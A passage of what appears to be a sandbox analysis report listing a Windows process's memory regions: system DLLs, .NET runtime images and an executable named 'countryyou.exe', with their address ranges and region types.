end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7949 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7950 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7951 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7952 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7973 start_va = 0x230000 end_va = 0x258fff monitored = 0 entry_point = 0x231010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7974 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 7975 start_va = 0x670000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 7976 start_va = 0x230000 end_va = 0x258fff monitored = 0 entry_point = 0x231010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7977 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7978 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8038 start_va = 0x800000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 8039 start_va = 0xd60000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 8040 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8041 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 8042 start_va = 0x990000 end_va = 0xa60fff monitored = 1 entry_point = 0xa5f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 8072 start_va = 0x990000 end_va = 0xa60fff monitored = 1 entry_point = 0xa5f1ee region_type = mapped_file name = "countryyou.exe" filename = "\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\countryyou.exe") Region: id = 8073 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8268 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8287 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8348 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8355 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8356 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8357 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 8358 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 8359 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 8360 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8361 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8362 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8363 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8364 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 8365 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 8366 start_va = 0x990000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 8367 start_va = 0x2160000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 8368 start_va = 0x9b0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 8369 start_va = 0xb30000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 8370 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8371 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 8372 start_va = 0x2340000 end_va = 0x1a33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 8373 start_va = 0x1a340000 end_va = 0x1a6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a340000" filename = "" Region: id = 8374 start_va = 0x2160000 end_va = 0x2260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 8375 start_va = 0x22c0000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 8376 start_va = 0x1a860000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 8377 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8378 start_va = 0x1a6c0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6c0000" filename = "" Region: id = 8379 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 8380 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8382 start_va = 0x1aa60000 end_va = 0x1ad2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8715 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8743 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8744 start_va = 0xab0000 end_va = 0xb2cfff monitored = 0 entry_point = 0xabcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8745 start_va = 0xab0000 end_va = 0xb2cfff monitored = 0 entry_point = 0xabcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8746 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8851 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8852 start_va = 0x1ad30000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 8853 start_va = 0x1ad30000 end_va = 0x1ae0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad30000" filename = "" Region: id = 8854 start_va = 0x1af20000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8855 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8856 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8857 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8894 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8895 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8925 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8940 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8945 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 8969 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8970 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8971 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9012 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9027 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9042 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9055 start_va = 0x1afa0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 9073 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9095 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9096 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9097 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9147 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9148 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9169 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9172 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9186 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9210 start_va = 0x410000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9211 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 9262 start_va = 0x2280000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 9263 start_va = 0x1b140000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b140000" filename = "" Region: id = 9264 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9265 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9360 start_va = 0x1b3a0000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 9361 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9362 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9363 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9364 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9365 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9366 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9367 start_va = 0x2a0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x2a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9435 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9436 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9497 start_va = 0x1b570000 end_va = 0x1b66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 9498 start_va = 0x1b7a0000 end_va = 0x1b89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7a0000" filename = "" Region: id = 9499 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9500 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9501 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9517 start_va = 0x1b970000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b970000" filename = "" Region: id = 9518 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9556 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9567 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9586 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9603 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9604 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9647 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9648 start_va = 0x1ba70000 end_va = 0x1bd41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9649 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9650 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9651 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9652 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 9653 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 9740 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 9741 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 9742 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 9743 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9744 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 9745 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9746 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9747 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 9748 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 9749 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 9750 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 9898 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 9955 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 9956 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 9957 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 10128 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 10129 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 10130 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 10131 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 10245 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 10246 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 10247 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 10248 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 10249 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 10250 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 10251 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 10252 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 10253 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 10254 start_va = 0xc60000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 10275 start_va = 0xc70000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 10276 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 10277 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 10278 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 10279 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 10280 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 10281 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 10292 start_va = 0xad0000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 10293 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10294 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10345 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10346 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10347 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10402 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10403 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10404 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 10405 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 